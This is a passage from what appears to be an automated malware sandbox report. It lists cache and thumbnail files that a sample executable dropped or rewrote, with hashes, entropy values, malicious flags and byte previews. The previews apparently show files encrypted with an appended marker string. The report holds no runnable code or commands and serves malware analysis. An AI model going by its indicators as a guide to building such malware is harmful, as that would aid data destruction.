SHA-512:	FC9E6B709498D3B966394DC72334F910609ACFD3FA8C313C7B734739210636A317EDC280847E57545369F8D9FB0E1C520C8DABF86E376F6827BC0F9336A629CA
Malicious:	false
Preview:	CMMM +...[.R&t..k;Lu.<.+a9.o...15...v...r`]...`.BC.W.i...)./5.Pg..G....L.......%t).......Z{m.A.......;W.3.s.(....j.....`D...,h......kE.w..u.}J.L.O.W..........P.9.\...B...n.U%M...-8n.n.G"...~:D.?...o.Mf..BJE.C.../.o..E...v.RW.....YU..c.@Z...".$% _6.!K.ah..a.].<.PM..%.#.D...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.12692801944416
Encrypted:	false
SSDEEP:	24576:NrOFqdgxX6qPhVnmNVf2I8wHXEH9KPaBCr/5TO4ImqrYEFtxNVPXtX6Qs:gsgVrnmNVLgH9Ky0r/s+qrYEFtxNVPA
MD5:	D4B01E98169423E1103598D92354F916
SHA1:	74D97D44421FFE018EDE5E66EB5A7847623349F2
SHA-256:	5193A9A1ED9C81C751AA556BB0DD7258B21E0ED02DB2F01BFFF438EBAF694A7C
SHA-512:	E3A3A39A313D0D440006497C35B9F588AA84AF4A118B2D6BD3D9938B544AF8849192DD4A4A9C52EE6102E685499B8C0F31ADC66C83DB9A97983DCF1261B052BD
Malicious:	false
Preview:	CMMM 5I72.Et....oV7......wc@.0....\|g.....@..T.T..U0...{n......[Ax.....{.k.L.8....9t.M.B..{b0b.?.N.2...=.f.R.w.h/..^G....b.".l...i..D.........I.....1.uQ...m..2.`.!..2h.q....+).]B......&...G.......^...wo..&..tk..U.QU.Q.n..\|mD.....7F...6,HTRK...AE..[xyFpJl....._.BY.....v.7.zkT(.W<.-.P../O...i..Y.S...T[...~..X...Jq7..s.m...i...a...o..?.........(...u...B..@.P.f.V.....6A......da.5p..t...q&t5.....A..@......r.....@.o.hjl.....A.q..Ey...X.....+...7@...oc....C0...Q..-...>..i>...\|../.~..\.A.L.q.J..K9..E.....@.].U. ...e..]..x..d.6.....v...... $..a..G..F.m[?#..B6Y.+.@.#+...}I#r.K..S..%.. 0...U.i.....@Md=X..g-..O....x.. N}..W......]F$......{.S..d...4........]....k."......>...`.f<4..X.`.z.Gw.X....Y....>.`.[...}..U..I.=Q..S.&f...^...q.....5td.7......4H....peaZ,....#O.F...y.!.N.G!.W<..Lu@.4.....b....3j..i.x.DY..Ta....XE..g.^Vk;.B./.:.&.fI...L...Q:!]~...ps......A...m...s...t.'..N../W....;<..q...}t..S........4..8.t.R5I. '.*..E.M&.<MaJ.#..@..../.n....-.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.291255994143373
Encrypted:	false
SSDEEP:	6:OgIIWhpnqaNXUY5d8x6wdHc8XDrUlsnG/4933VCWZvtJuK2BcsH0mk8kf7PebugX:OrPBFUY5pwr3Ul0G/493FCW9tAtuRf7O
MD5:	8B06F7170209CA257A6A1A533B1DE559
SHA1:	CB08FDFAA7EABC44594F08FEE59B00A156427ECB
SHA-256:	7701D7F122653AA48805ECD24C6B82BDA7E450FAE04D126EEF03818546D56B0D
SHA-512:	9B87CCB86B299B9A948F4DCF8A3F7931C87DDD86219F6EDE011DF45DB5F40621F89FF5D842C706AA516DA6165448A05008B538029D6BDA2864D6C377209F627E
Malicious:	false
Preview:	CMMM ...U.p;..W.H>U<.t6T....Z.(.....r...R<.T.[.../..yd..v......=..d'l..[.....S.#U......$)......\|.".....#Z.../...ua.VIH2..@.H./.n....<d.\|<..P..a............g3...f..N.zI....t...0.4N....}.Xu...y.Db.?...Ygx..<.....-[W'_.3~.*.Fs1.T......y...4i.....m.X........&.e....b...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.292237165954146
Encrypted:	false
SSDEEP:	6:xaeswnQdj6A6XFriHZk1Wh9jb57tAy6+J+vYjKa2inr+FuPebugcii96Z:0wnQQfXh0k1W/jB7njBH6MPrgcii9a
MD5:	73128A0A8205312593E22F931F803FA5
SHA1:	65A2762713D9B5FBF03B8DB3152A557C9BBABD0C
SHA-256:	65B6D11465B11EC57F5A9D08609A46CF08E9F40037EB484CE4A8D205899F882F
SHA-512:	8CB8AB99E68013F449348925911545E953DD648B98E56EE9BDE49A60A70E2BF5A1EAE8E36037C98C0566ACE76C68B5A74C9FE931B820D36B02DFC6BB65792EBA
Malicious:	false
Preview:	CMMM .t..T.\|...y...r......"...q.2...E.......^....}..{.I.T.._2.\|d.O..U.6..m..Z..G.E.B.I.E..\| ..m..J{..t{....U......:GVH....9..2......#. .wij.G."=..$......R....;}.....-..SsL.n..n.T85..(....xh5...'2+,..fj.n.6v..,....S.`....W?...Z@@z.Q.....%.....lf...r.....]..I....../d....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3131613378298175
Encrypted:	false
SSDEEP:	6:I+0f1L78MI1LY5q0YnJAdapqTdcLCr7yTjGeizQEPWCe3wNL6e+Pebugcii96Z:X0RIMfUJiapXCr7y/jANL+Prgcii9a
MD5:	06F3C39B66299128C503BE6ADB926A31
SHA1:	1EE974B3C401FDDB8276929DB6DBAB25EB017589
SHA-256:	E77DAF65D5C22955C82051B428FB713999460FD6603268CDB252A011B2050955
SHA-512:	7A55CD71F60D6696AAA9485F9F40D8AA97F516534FD81C04208D992661D3E022B4C9035A764666930A02FED66892990AC9591E9D1D0BDA5E90DCE6212AF3B8D3
Malicious:	false
Preview:	CMMM ......;4..n%.0.f..NR.\.A<.C.[(.kT#.7#...^z..Z.Q.V...)'..>.u>...MO.C.....Y.*ul...1.>.s.q..YE...F.Go...".I;.....^u}iI......j.N.Tq...gN.(F41..:0.Z...nYg..+.7t.....4..&.......se..{...$Q.~......k..mk=<...1.....;...XPF.....[............n........jL_.m_3n....h..o-.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.354934015043178
Encrypted:	false
SSDEEP:	6:Ybzou9DAR4FM1EcICrafKlGS/P0liBAiupZF/9g6tT7Pebugcii96Z:Ybz7hMd1ExoazcBwv9gGvPrgcii9a
MD5:	E09EFECBB07BDB63F9742C7A1F067FD8
SHA1:	B43F985F00A6070C69AF62FBB9DF30C27C17FD8B
SHA-256:	04C931A3FDB57F4497D2F76801048871E1631428CCE4A97C442B36998800804F
SHA-512:	149A504055BA0F18160A14A873BB60F14C75000AB4ED7A22524A5C36E59D12075DA924B4B3BDD205D58D8F09C1BB9CAE689344B7938C6D0DAF8F2B651DCB1694
Malicious:	false
Preview:	CMMM ...r1..i.s..}Qf+.a>./.,/..).~.g0......%:.......`.Z..w....;i..cf(.....@.H\|.HdNP.e.Yg..9...\......K.*..1...Q.2u.e1................m...n.cS=q.nm.....Q.....$.@... .....I\....@.[.....<..5n.).R...(.-[cU..\|V....Wp..O...i...k.<....0{...g....sZ....l. a.....J,.l.3eu..H....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.225424160359938
Encrypted:	false
SSDEEP:	6:eysXA+hu/nGPzZBYIZNuwOx323HU1qUSgWooX3+7PJAkDm7ft6N+Pebugcii96Z:eyTGwIZNuwOVatUTJoHWPnDmZ6N+PrgX
MD5:	8A79C133A940ADC55EFCC84A8F9A0BD3
SHA1:	E2732C82A8EA9E8AEBBA65E9FF66E3D57B997EBE
SHA-256:	A6DAD4061D4908A11B2E1DDD3BC71AE372C29EF9108DA754D58D3AC307E7051D
SHA-512:	36995FF7D1576C4BFC54134297109897208DF10A3059E74F00087798C3591FDFC719374B52F65EB93EA2FB9CF5B634D873BC30544ACECD5BB954994ACF123199
Malicious:	false
Preview:	CMMM ..l.....J!Z........'jM.:e.co.@.A/..(.....g.n.g..6.KH....{_...l.-5..2.O8..(`e.;.@.j.......g.....x.J9+RQ...s.../e..=..........,.rM._E......L....m.+....dd..z\|...nQ.R...KZ......l.!.5.7..A21.....q..(7.\S...........SP....7*_.x'L..xA.z...#...O.w..-...V...1..u.....0...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\Windows[1].json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	814
Entropy (8bit):	7.6995697733205954
Encrypted:	false
SSDEEP:	24:YrJTMzzUev/KLoX/PnkqPjlCn4acXv94kbD:YGzP/KLg/vPCrgD
MD5:	21FFE493D6C368B8B546D4CAE86F355C
SHA1:	6CF6F815C950ABEAA55CEABCC463DCF604ABAE1B
SHA-256:	DE898A5956DC9558DE9D799E7B167A9A27CD7E1D06C764FB68B1A7BABB9BFC11
SHA-512:	9EA42FC9430F013BBF37CCA946D6D4A5A6D11E90371415750832BA7C718718B205C45EA6664270C1AA16B710FD908A02EC2A9D1D92816DB9A83AA3A1865E6690
Malicious:	false
Preview:	{"serw.....1. ..t................}F..Z.w.M.D..N.?...R.]].T..&.t.q..~6.tu..HG.).-.......'E:.NFL~.}.8`..YR..S5.5J.Y&..y.T.5...5.^..bk..`.4..K.@.5..>..yB....]..f...0..?i.[...cks.v.4..H.d2 `;...J.Z...Z.....&F.r.j..yu.s....%..^.3l.']...a..)S....{^.\|.(@..!.i....3....\|.lT-.<....I +V:..n.A.z~e..=.i.%.aR..j......uuh....\.2.H........q1.s)..I..N...V./.I".>....E..\J.}.;X...S..3;...:...UE.w.....,b..%....v4/..hf..q..Y....%0n..u(..._.N:...he.r..I.I.l.X...#....A^....bC.:j..../'..R.%f.U...x.V..[T......q..[6$6..E.....(...'.l......E#`-%...x...O....Fi.9....s..M.j0..EP..?..~C.../..~.../]ZQ......3a...-{:?.p.......6.pM.....v.6...+K.BZj.*"...#j=>.)..R?I..Id.)...@#.m......_...n...Qoa......R.>~.z..Y.4l-.n!Kk]...4..s.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\oneDs_f2e0f4a029670f10d892[1].js

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	190486
Entropy (8bit):	7.8575145803852875
Encrypted:	false
SSDEEP:	3072:y95pxNlnGXmk0E16n8m3wBZvrtQ0BgxCQdUjtaW8OS9Lkgu6BeqNhL+rUWxZ:ipxNv81S8m0Zvx76xCQdUxaFv9SUek+n
MD5:	63770A8979818BD4F5C025321228CDDB
SHA1:	D2F606526A75ECAD82466563F98713BD7662206F
SHA-256:	FF40ED29EFCC6D94F0DA69B2552C81302D6407FD193BAB4EB908FBD11080FD99
SHA-512:	BF9D33666A6244886AF4F72342612FF8EB8F3C9B3B6A237D68B0D4841E8B82ECA7C76FC9670465F1482B1FA41E7433523AA725251A92EFF9EEF75062E6B896D1
Malicious:	false
Preview:	(wind,6.N.,.V.....;...}Pnil51aD./...C...z.{..F\|.e...1..."........2...U.-o.._HnS<G.S.Q.. .a[~_.....4EO...B.Z.R.."&. ..z..r.E.)....6.....2.'.$...h.....0..sjL..^..b\|Y.C[G.d.&..8...F.&..........y.5.%.Q.E......Q.-.X...(.\|.{......L..l.B...<.I..HIG....j......W......Qi4..G.;bA.'...`..Y..Q...n..{.. .]T...]..2.]....x.Qo.6...db\1+..:.X.4..A.77..h:#.....\|.ks..Z.v..y.4....rInX..n.!.M..1..B...y...[.q<Y=..G.....]H......p....R..._...9J........uNc.g..n..;..N.&\..X+WF..~..\...5....<.{L..&...~.A.a@..C..z.~..e....M.8.)..l.l2u0....=....&."...F...X....W...d..0.a.7H.........\.+.E.ik.....~Q.`.y&.zv]...tL.c~..z...O9...8....\..........-......E{K..]...n.9.....}.<E.GAF....q...l/v.z................i!q..=./X=..6..r..kv,=.*.C{...!.K...Q.#...T.&......q....U...W.:...!......4A....&,.+.%...Y....CF.,........L..`UW..k......).i.EoOd..,U..2.I.<.kjzr. !..`...).M..!C.@.\n\.{eFZ...@..CY..P..]...T.%...rF..sa.`...B....&(b...rDQ.....Z....E%.O4.\|.:..{. .F^...........A}.t.o..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\windows-app-web-link[1].json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	432
Entropy (8bit):	7.383168986222805
Encrypted:	false
SSDEEP:	12:ltXn0kPk3WwWMx+w25P+d3z3XBKWzrPrgcii9a:HEGkTWMVKPMTXJzkbD
MD5:	047BC1EB204397BD9F92D2C2DDE9A6CD
SHA1:	1C32C14AB62EA758906316B003C513D312FA5CF3
SHA-256:	E6886C05E406436FA592E6F7A88DF4EDC8C8E6596221500B7F40A42559253F0F
SHA-512:	3EE5ACE7F0B213E3F0BB2F09A4D36918218A09E63803D1B1B6443523C74F291F46527965914038CBDBC03F04669546454FB3475ECEF9082B55F0BB1529C48619
Malicious:	false
Preview:	[{"paB_6.!E...Q{R.p.n...kU.L...~..1.....g...$.3.bS.0!.*Eo...8p.gt?.z g.J.R.8..h..mz..r.......)\|EW.....9...Aj...<s'...+S.f3.tO"{.....(0... ,QpXR..:..:[..E.V%....D{B...o..\.R.......E.7........,.....+=.. .c..{).[MF:y......f.>]...-8..9.?.E...;HW..'...,......~c.o.T...\.PO..K.e.....>..7..^.P..:.o....-z..jj.M:....B"K.}..~.v?.?..Z%xA7@q.a..h.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	36937
Entropy (8bit):	7.994530293238728
Encrypted:	true
SSDEEP:	768:2SMCVD8WyFqZ5ond+p2zwdNG3AHtPwGJ8twLcl4y3EzKQ/VBzH:r8p6U+p/dNtIoJLcK45Q/r7
MD5:	0E61ED60C1613313ADF9A0BD61DD2D85
SHA1:	C034CDE7AA1CAB75509EB2710CFEFFABFFC1BE0E
SHA-256:	285315773147507B5793407EFC9D0B2F263BD4E5D8E3D53336A190F7F34E894A
SHA-512:	D7206598F16CAE9DA9B4B7D9CD162341B428D59CA436B86A0A3370591FB370B26DC9F755986A4F3A4B2A3ACC2D80978A8F5065D124CA1CDBD2EEC63D63BE2185
Malicious:	true
Preview:	!func.V..>..~.....QX-.##_....Y.V.t..M.Ct...].o.......+..#ax.Cw....J.... .-.Y+T...W.W.....1v..2.g.i..Y...eK..%.6FF!............^..........Bz..l........[C..;U..o.....%!N.............L..sV....;....$..fD...}E.j!.....[..~G.QY..<H.!.....f...+f.gZ........x.L....6.......(a..+G..l...#..p..G....(....H.%.A[...'....8H.e..k.-..~ f...c....X....A....^..K...~.2.F.T..t."....B.... ...F.[...%.sM.!.."]...r....p..@7..uAM....u.:U#.X..R.......,M..p\>'+X.b...F.F...H..2.8>8.p...7.H..7.....==.`..">..1.....0............2...neRQ..R.R..,.}.8.`...Z..X".......5/...14..^.Z.P2...(m.9.F.......B..&#qU...n..Q.....j#.>.".....}...-b%...`~.3..VD.......0..c....mY)R.]...'......>"..6...-....y.z~XF.k...4.y...'.0.......P..Y$....}K...X..2....P..}%h.B....MF...+..h...5....Ier.-.7.......F#..8...?.Yw... .%.o...m..e....C8.H..........k:.q......&..p.Y.6s.O.....Q...aqp......QV... ..n?.....R.Vy........T.....m".8^r....L.....$....ra.j.b;$.SL.O..O...K../..kA.Q.k.e.0o.M..r.R..6.........6..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\PreSignInSettingsConfig[1].json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	74526
Entropy (8bit):	7.997542378672595
Encrypted:	true
SSDEEP:	1536:eqWV6rPXYSR1o6Q8TjZNKwI+rx/q7IUQxpDYGh122NeAEpc2DIAvuuJ:eqZrPXYSR1o6NIwIAnRxpDV224Rc2XJ
MD5:	15BBDE1DDDA23F8CBDA4508404C1936F
SHA1:	F9557E3FA6605761067414D50CDAC183F6BD22E4
SHA-256:	2716431526443BF8A3865BC51391B9C78B76CF6EF3B502A513523E0A0DAA16EC
SHA-512:	C6D42E39DE5D7D597B3A1D849C9259EE08C19C2D0C686625192D85441F04796FE4BEBA76D4BD7CBD37BE5ACE2C8BE0E8F260BBB29AF6479A35CE82105097ED15
Malicious:	true
Preview:	{"ram.p.A......MT.u%.U.T....B.;!..U..}j.!k..9.L?.]...,:.).Td..N....0....r..E+,...A..c..&..G...a.j....fR)Z...?........zv.s'.p..cKXN[...r...j.)_......k.t3.V.W.7.R.iJ....;P..-.F..h....lO...4%..SM.}.c..4Rg.$#.nl?...3.....h..d........rW....,....I.E"...z...2...R.Pb~..........<n... ....9/5@V.=..9a..9B.....<.r.)'.].W&uG.`hi.W.k..E.i.......QTBtl...m..]H>:...r.....T.....v m....+3l.1...6Gf...w.q...(e,V..V-p..F.YQ..~Y"..m.H:......k.....u.:.........)6<..9.7......wz(...X.[.3.8.n.n..7.....%d..!Y.A..T'.. .k.......q.z...MjCM.X..b&@)..k.p..Js.. E".....A.h..f1.K.z.I@_.V..P.u.J. .....lxQ.f.g..<H.5.g...{.Z..L.=..{\.....X'.QMF..,..a..f6........l..m.,2..g#t8...]g.... ..U......q....T.{.....n.....H.7...P..e9cF..N.).QI..`gC.k.q.n.'.p.A....`...-...u../.V.....5N_.c.PH.......I...:..a.o...u.........1J.j}..g...:C......,e...J..+[e.......uj.I.K.PP..J.i..k;.s.....1...0.........[..1Mf....d1......(...C .]...'..[.GU,.g...S!%0j..7C....."F..O...C..T!....N.g...jrg.o...wU......c

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\741e3e8c607c445262f3add0e58b18f19e0502af[1].xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3793
Entropy (8bit):	7.942681206309562
Encrypted:	false
SSDEEP:	96:QpQ5s5t7QiAv+DWC101y4nwKKaDByGbY1Km4xJ:Qpgs/ciAv+iC1DLL8iK/xJ
MD5:	E2D4E0FDB677652A725CF8BD357F3DB7
SHA1:	39453CEBE4FF1E774081E2941F825E4006C691AD
SHA-256:	B43F8D56E046F11C3ED25CA8B1ED7D352563630F13995C4D856AC68BC5172052
SHA-512:	5B5D05F267557C40CCC73C1956107F789343A5D52FCC466E2855CCABA2715CC153B7EE47A30A32B3D6AE6E678623CDAB2A43E4B21505D7BCECCC02E36E686C6C
Malicious:	false
Preview:	.<?S...l.I.R.<.d....t..Q....2._..?..}...P.O.7. X"1..r...A..\F\|.u...?]F..................C1.<;?...2h.lW...R.z.B.oc">.:....v..b.n..'Hz...L..^32#.$...E....5......g.......A.0..i../.[m.B....K.K..N..S...M.t.....3A..].:z.pt.V.:.1./...n(xj.qx..G.hX<h......S5.:r..E".0......\|..T.E.4......J...\D.Zw:.!..M...#._..3.0...lw.a...ID..v.........X.9Uv{........9.C.q.k...R.5..r.+hy.FM.......Bo.N..T...h..8.t.. ...O)m@...i.....)Gv....M.....1.Z1...U6;..i.....1..(............J.8?......=%.\.<..,......U~.Z0./<.&.q.#.i...V...s&-{..J.....9^. 95..W.J...M.........7.@.V..2.!.[]7J.....%.....\UJ!.....a.1x....../4..g...Wg.R..8.B.3k>l....C.....7..&.t.f2.x...v.;.u./...;!\|0.....?....;........@....T.......bO.6[#.(u...I...n4.?..E...yW.;.#x..f..v.P....z.......G' n..u../Z.y..x.....u $b.A.~./.4.H..zN ...x].. ..%<.0....R...viMG.......Y..$.......B.~\...~...T...E.iW.m'....p....'.......r....zv.........GT...[+.%.y67u...RO...W..Y....m......T...Pts.a..;).+.....Tlj..Zy..V.ym

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	416128
Entropy (8bit):	6.913262717291051
Encrypted:	false
SSDEEP:	6144:oqhPWhiYVKEq1xdL6EJp2mQI6UlP5DAB+sQbTWtq2MfEmM5xEb/PdSJg:PhuQjbJz2m/zAhQ/WIMpq
MD5:	926C988F4EB0DD5ED85DE032C7E3283D
SHA1:	F7F0A3648E5272677990A604B253F420FA5C0D30
SHA-256:	312E909FCE9ACE0C8F35B21C69CBEAC04A8A10B4FC0047062F23FBB87F65BD2B
SHA-512:	7A4FB4E99DAF82F334BE98D0F177092E6548CFEB0A82D004E4748397ECEDE6C1F58ED7D30A27C9688D92FB6E56213979127CA8C71AA46FDFF04F74BDF89983C4
Malicious:	false
Preview:	/!. .i...........v..$.........d.d....BK>"y..._D.2..........x0.....}..Ju...<.......!.!^z..Y0..gg?TQ......@.].[>3@...K...l.^.u...<.2Y.........5.o.8..le.W.h...T....f...BE...R..jx.....'.1il......}1YE.......Z9.,.qA-.v.(......v.r+.Kun....C...rW.t.v..Gu..~....Y..r..}.(.........d!.TJ.`.....2..,%.jl....i..n.......o....6C{.M...\|..>7..LoV.g.Y#I...9..)....4z.).C.x/..+O...#b5Nug..(E.M..KG..g(...I.XE.....D.....u...}..5......>y.V.$.].....k.."#~......2......>Zk.0!..\|...,.Bb.Du.H.}.Z (+..>}....4.!zo.....%izA.......DD..ue...e.. .......dP.N..;.US......V..u.y;D..V.2+...l.P.e......1....U.../+.Q.$...,..+....I_Q...../N....\|..=.B..s.{..:u..4U.o.&...S1^..]..s......BX..=..N....^.$...>...{......5..l%zj\.<.."?.K..<....<.KM.g`b....L$.....8......wgrcm...0.1...aA.34....L...e....s.._sH. ...:..F..\|b.I......'.m......U.....f.-...S.<......^C.\v-q..c...dU#6O...2p..*.AI...]..z.D.....4f...T[.....t[Y..h{j....UG.;YQ...P8....8.....8.I....8...D..V`&..<...g?....<....kRm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\Windows[1].json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	814
Entropy (8bit):	7.702412688954093
Encrypted:	false
SSDEEP:	24:YprAKlEzZDk+qm2Bib4AFZZ9xXRemvSdaDYUfURRLkbD:YeRb2Eb1ZHRfvSsDYnRaD
MD5:	FC750E3B276470CF03BCF9FFD22E0F4A
SHA1:	F537579E14F80E2118695700F3AB275AD0846640
SHA-256:	9273FA178B773CAA11E1A6D890A47847F642A480A349F6E445ABCC37960DE24E
SHA-512:	2E40A8B044543278C10D4B19BC1D5CF520A92D7592961F438D57EBFE956F86605B44680857580AE335D58D87CBCFC0F9C31B929A39AC830F7A8A5DD7364196B5
Malicious:	false
Preview:	{"ser....m..\....v....8"w.a+}.4.3?q...\J.gG(.'t......j.ENj~..=....G...`.........vA..&].BwF%..a..`..suu.T.Te........i.k..0.e%.Y...........e.%P =....nR.....z.\i....!C].e>..>.u.P!.Q..q(...Q.v$.].Zkv_x?C=.gK...c.=.6q..`.n...D..2qf.S...fz..]g..y...T.<k.=.U.Y.l&Z..E(OY..H.E.n..T`l.&..W.@x....t...B0...-7...W.W}.9E.oB.^..d..S.>.j5R3M...N5.w..'Z.......3.P....-z..&..c. +.o.$....sr.\.?.3@.uD....l...).{.Q..aY..2.?v....\..o..y]....rSh.;q..t;....LZo6p...bF]!...D0.../.lt;.m.\|........72...Vn.&DO.....Vr...2..8y... .;n(.7...:.......N.h.n.R/>..M..$.}..6...&....oAJ..+] u.uQ... e....{...st.!X.<.Yv&(.;.Js.w.X.MP...).....%.n....<+.O.lvh!.r`.!~..5Xx..].Tb&.$0.p7........WUNS.....b>Q.M1.xP....)......?dk=W.....:!dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2[1].css

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	110785
Entropy (8bit):	7.998617662168805
Encrypted:	true
SSDEEP:	1536:6yv5mEdazZyKYu7xcOuWiB3zn8nixc9IGxR+eywB6WRiPQGxEDOKtzqaiMplpB/K:VdgYKYoxu/q9lywBQ4HOKqMj/nwwdDu
MD5:	9D6EA2F8127303C41144097B77D72D51
SHA1:	0863B6019EF1712D9CE0C05D33FC72D44D4BCC8C
SHA-256:	FBC601E94B0D8B7033A3FB71480706C192485F27D745F5CDD69A88EA094C3DB6
SHA-512:	B7C50C07477D1D2FE72D859496103933BACE3B0A212426159D49C3A09750B60A1B9AA9BBDF1B2613D58D4CEC07FB89DA9DA531C2D6443F5BBB666769D6EC7B80
Malicious:	true
Preview:	/! Cz..Z..IH....m..&.@.j..Z:.....4.._...1..cr......t.-/.......v.r+....t.y.^V.xT..^.G..U.i.wl&9n:MRo.K.......r..I8....T....x..xH.l\|..0.:F.V....A..].@..X...5.p.R......u..`.4Es.>~.>.\.X..c..0.......+r..%ew1..v&..39..Z..)E...3......#}h.9.f.J+.....?.p.......w..p...g.s....Q....c...q8...$.......J9.....d.ys....$9..w..e.8..OGH.K..$..JW..J.\A..\|.`..$.......A..n...:=.o.Xc..Er.T..K.T...v...-g!.<d.'V..........q.s..$.6F>...E%..u.?Fny.'.avC.G8"......ak..2rD6i.mv...........gf..!...M..g.7.......5. ....E.Q....u..mI.........`....t...>.jG)Q.Tr....7..[...Q...)../.(.b>#.H...D..i..1.9>@N..a5..k..&.?..A..u..s.++.....U..?yQ..u..s.(..C.q.#>a..&hs.#V.....K....y.w(f....j...JqA....X.$a.X\...~.L.......hJ.>}......\|i>.....wV.C=.&.oI.l.2l].Bh.W....;......u1C....6.3J2K.\|v.....}.k...]a(..@..k,...H.>.J.h._..H4,x@w...9.=....F.....Y.....ri}.]R=]<.v.....h.....g......F....,.kb00..?.:.Rv.[i._jOA....&..........D...U.L.2.Uy.E.P...\.,..w."qS./.d...Vn

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\PreSignInSettingsConfig[1].json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	74526
Entropy (8bit):	7.99772535606763
Encrypted:	true
SSDEEP:	1536:RgH13xJElkymRtd5gX8de/c5Ufu3IYCon0V2VNM6+3Of/nKeCwn:RgHXJEOy0PWXZqUiI/V2VwrPw
MD5:	6A74BFC199640BC25B92DB487029D988
SHA1:	F1B1055FE7E857CFF4EC1FD448C1ED3F0AF87862
SHA-256:	FEF126C668C1DFC55A482FE4A9E4CAFBD5E742B4CE4017CC82441CF6CD243553
